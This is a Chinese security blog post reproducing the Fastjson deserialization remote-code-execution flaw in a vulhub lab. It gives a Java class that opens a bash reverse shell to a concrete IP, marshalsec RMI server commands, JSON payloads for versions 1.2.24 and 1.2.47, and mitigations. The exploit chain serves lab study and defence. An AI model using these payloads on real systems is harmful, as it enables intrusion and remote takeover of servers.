freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

fastjson 反序列化RCE漏洞复现
小L不会挖洞 2025-02-27 14:51:13 50269
所属地 河南省

大致步骤

1,先在攻击机上编写好含有恶意代码的类,编译成class文件。其中有我们要执行的命令,开启web服务

2,还需要在攻击机上利用jar包部署rmi服务。

3,通过payload请求攻击机上的rmi服务,此服务会远程调用我们第一步web部署的恶意类。

即可造成rce。

攻击流程分析:

  1. 反序列化触发:Fastjson解析JSON时,反射调用JdbcRowSetImpl.setDataSourceName()setAutoCommit()
  2. JNDI查询:目标服务器向RMI服务端rmi://远程地址:8653/reverse发起请求。
  3. 恶意类加载:RMI服务器返回指向恶意类的Reference对象,目标服务器下载并执行该类的构造方法。
  4. 远程代码执行:攻击者通过恶意类实现命令执行、内存马注入等攻击。

Fastjson
fastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。

JNDI
JNDI(Java Naming and Directory Interface)是一个应用程序接口,主要提供查找、访问、命名常见的接口,定位网路、用户、对象和服务一些资源,简单理解就是JNDI将常用的功能、组件、服务取了名字,然后使用名字来查找使用。
JNDI可以使用RMI远程对象调用,支持的常见服务有DNS、LDAP、RMI、CORBA

RMI
RMI(远程方法调用Remote Method Invocation),远程调用方法在分布式编程中很常见,主要实现远程方法的调用,其中RMI是专门给Java环境设计的远程方法调用机制、

JDNI注入
JNDI中有一个服务RMI可以支持Java远程方法的调用,如果使用rmi调用的远程地址中的方法有一些危险的代码,并没有经过处理,就会导致命令的执行。

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

正式开始

首先是环境搭建ubuntu上使用vulhub一键启动fastjson 1.2.24 rce环境,访问8090端口正常即可

攻击机是另一台公网机需要有java8环境,

先编写一个简单的java类,用于执行我们的命令,使用javac编译成class文件。

reserve.java 通过JdbcRowSetImpl触发JNDI注入

import java.lang.Runtime;
import java.lang.Process;
public class reverse{
        static {
                try{
                        Runtime rt = Runtime.getRuntime();
                        String[] commands = {"bash", "-c", "bash -i >&  /dev/tcp/189.1.226.116/4563 0>&1"};
                        Process pc = rt.exec(commands);
                        pc.waitFor();
                } catch (Exception e) {
                        // do nothing
                }
 
        }
}

然后在此目录使用poython开启web访问

python3 -m http.server 8989

1740638833_67c00a7195425cf7f116a.png!small

同时我们还需要再启动一个rmi服务来调用该恶意的class类文件进行攻击,需要用到marshalsec-0.0.3--SHOT-all.jar,这里可以直接下载也可以自己构建这个文件
GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64

有了这个jar包之后,开启rmi服务

1740638858_67c00a8ae60d8e35787a2.png!small

/*样例
java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机ip:web端口/#类名" rmi服务端口
*/
java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:8989/#reserve" 8653

然后编写payload

POST / HTTP/1.1
Host: xxxxxxxxx:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 163
 
{
"b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://攻击机ip:8653/reverse",
          "autoCommit":true
    }
}

字段解释:

  • @type字段:指定反序列化目标类为JdbcRowSetImpl(JDK内置数据库连接组件)。
  • dataSourceName:设置JNDI服务地址,指向攻击者控制的RMI服务器(IP,端口:8653)。
  • autoCommit:触发setAutoCommit()方法,间接调用connect(),发起JNDI查询[][]。

1740638946_67c00ae25c7d334564dbe.png!small

在攻击机上开启web监听nc -lnvp 4563

执行payload,响应为空白或者500,基本都可以成功

1740638979_67c00b03c5e21ef25fd34.png!small

防御与修复方案

1. 代码层防护
  • 升级Fastjson
    使用Fastjson 2.x版本(默认关闭AutoType),配置白名单:

    ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");

  • 启用安全模式


    ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType

2. 运行时防护
  • JVM参数限制
    添加-Dcom.sun.jndi.rmi.object.trustURLCodebase=false禁用远程类加载。
  • RASP拦截
    监控JdbcRowSetImpl.connect()InitialContext.lookup()等敏感方法调用。
3. 网络层管控
  • 出口流量过滤
    阻止服务器主动外联RMI、LDAP等协议。
  • 入侵检测规则
    在IDS/IPS中设置特征规则(如@type字段包含JdbcRowSetImpl)。

fastjson 1.2.47版本换个payload就行了

POST / HTTP/1.1
Host: 1xxxx8.18:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 265

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://189.1.226.116:8653/TouchFilels
",
        "autoCommit":true
    }
}

参考文章

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小L不会挖洞 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞复现
小L不会挖洞 LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 4 关注者
Java-sec-code靶场分析练习
2025-03-31
file协议小解——为什么是"file:///path"
2025-03-26
JAVA代审—某迷你天猫商城
2025-03-18
文章目录